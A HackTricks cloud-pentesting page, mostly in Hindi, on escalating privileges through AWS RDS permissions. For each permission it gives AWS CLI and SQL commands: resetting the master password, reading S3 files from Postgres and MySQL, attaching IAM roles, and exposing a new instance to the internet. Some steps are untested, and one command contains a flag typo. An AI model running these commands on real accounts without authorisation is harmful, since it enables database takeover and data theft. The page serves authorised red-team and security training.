AWS - RDS Privesc

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

RDS - रिलेशनल डेटाबेस सर्विस

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

उस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है, और डेटाबेस के अंदर का लॉगिन भी बदल सकता है:

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

आपको डेटाबेस से संपर्क कर पाने में सक्षम होना होगा (वे आमतौर पर केवल नेटवर्क के अंदर से ही एक्सेस किए जा सकते हैं)।

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी मिल सकती है।

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

RDS Role IAM permissions का दुरुपयोग

Postgresql (Aurora)

tip

यदि SELECT datname FROM pg_database; चलाने पर आपको rdsadmin नाम का डेटाबेस मिलता है, तो आप जानते हैं कि आप एक AWS postgresql database के अंदर हैं।

सबसे पहले आप यह जाँच सकते हैं कि इस डेटाबेस का उपयोग किसी अन्य AWS service तक पहुँचने के लिए किया गया है या नहीं। आप इंस्टॉल किए गए extensions देखकर यह जाँच सकते हैं:

sql
SELECT * FROM pg_extension;

यदि आप कुछ इस तरह देखते हैं aws_s3 तो आप मान सकते हैं कि यह डेटाबेस S3 पर किसी तरह की पहुँच रखता है (अन्य एक्सटेंशन्स भी हैं जैसे aws_ml और aws_lambda)।

साथ ही, अगर आपके पास aws rds describe-db-clusters चलाने की अनुमतियाँ हैं तो आप वहां देख सकते हैं कि फ़ील्ड AssociatedRoles में cluster पर कोई IAM Role जुड़ा हुआ है या नहीं। अगर है, तो आप मान सकते हैं कि डेटाबेस को अन्य AWS services तक पहुँच के लिए तैयार किया गया था। Role के नाम के आधार पर (या अगर आप role की अनुमतियाँ प्राप्त कर सकें) आप अनुमान लगा सकते हैं कि डेटाबेस के पास अतिरिक्त कौनसी पहुँच है।

अब, किसी bucket के अंदर फ़ाइल पढ़ने के लिए आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

यदि आपके पास raw AWS credentials होते, तो आप उनका उपयोग S3 डेटा तक पहुँचने के लिए भी कर सकते थे:

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql किसी parameter group variable को बदलने की आवश्यकता नहीं है ताकि यह S3 तक पहुँच सके।

Mysql (Aurora)

tip

एक mysql के अंदर, यदि आप क्वेरी SELECT User, Host FROM mysql.user; चलाते हैं और वहाँ rdsadmin नाम का user है, तो आप मान सकते हैं कि आप एक AWS RDS mysql db के अंदर हैं।

mysql के अंदर show variables; चलाएँ और यदि aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role जैसी variables की values मौजूद हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।

इसके अलावा, यदि आपके पास aws rds describe-db-clusters चलाने की permissions हैं, तो आप जांच सकते हैं कि क्लस्टर के पास कोई associated role है या नहीं, जो आमतौर पर AWS services तक पहुँच का संकेत देता है).

अब, bucket के अंदर फ़ाइल पढ़ने के लिए आपको पूरा path जानना होगा। आप इसे पढ़ सकते हैं:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

rds:AddRoleToDBCluster और iam:PassRole permissions वाले attacker एक मौजूदा RDS instance में एक निर्दिष्ट role जोड़ सकता है। यह attacker को संवेदनशील डेटा तक पहुँचने या instance के भीतर डेटा संशोधित करने की अनुमति दे सकता है।

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।\ ध्यान दें कि कुछ DBs को अतिरिक्त configs की आवश्यकता होती है, जैसे Mysql, जिसके लिए role ARN को aprameter groups में भी निर्दिष्ट करना होता है।

rds:CreateDBInstance

सिर्फ इस permission के साथ एक attacker पहले से मौजूद cluster के अंदर एक नया इंस्टेंस (new instance inside a cluster) बना सकता है और उस पर एक IAM role जुड़ी हुई हो सकती है। वह मास्टर उपयोगकर्ता पासवर्ड बदल नहीं पाएगा, लेकिन वह नए डेटाबेस इंस्टेंस को इंटरनेट पर उजागर कर सकता है:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO: परीक्षण करें

rds:CreateDBInstance और iam:PassRole अनुमतियों वाले एक attacker नियत role संलग्न करके एक नया RDS instance बना सकता है। attacker फिर संभावित रूप से संवेदनशील डेटा तक पहुँच सकता है या instance के भीतर डेटा संशोधित कर सकता है।

warning

Some requirements of the role/instance-profile to attach (from here):

  • The profile आपके account में मौजूद होना चाहिए।
  • The profile में एक IAM role होना चाहिए जिसे Amazon EC2 के पास assume करने की permissions हों।
  • The instance profile name और associated IAM role name को prefix AWSRDSCustom से शुरू होना चाहिए।
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potential Impact: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।

rds:AddRoleToDBInstance, iam:PassRole

इन permissions rds:AddRoleToDBInstance और iam:PassRole वाले एक हमलावर के लिए किसी मौजूदा RDS instance में एक निर्दिष्ट role जोड़ना संभव है। इससे हमलावर को संवेदनशील डेटा तक पहुँच या instance के भीतर डेटा में संशोधन करने की अनुमति मिल सकती है।

warning

इसके लिए DB instance को cluster के बाहर होना चाहिए।

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

संभावित प्रभाव: RDS instance में संवेदनशील डेटा तक पहुँच या डेटा में अनधिकृत संशोधन।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें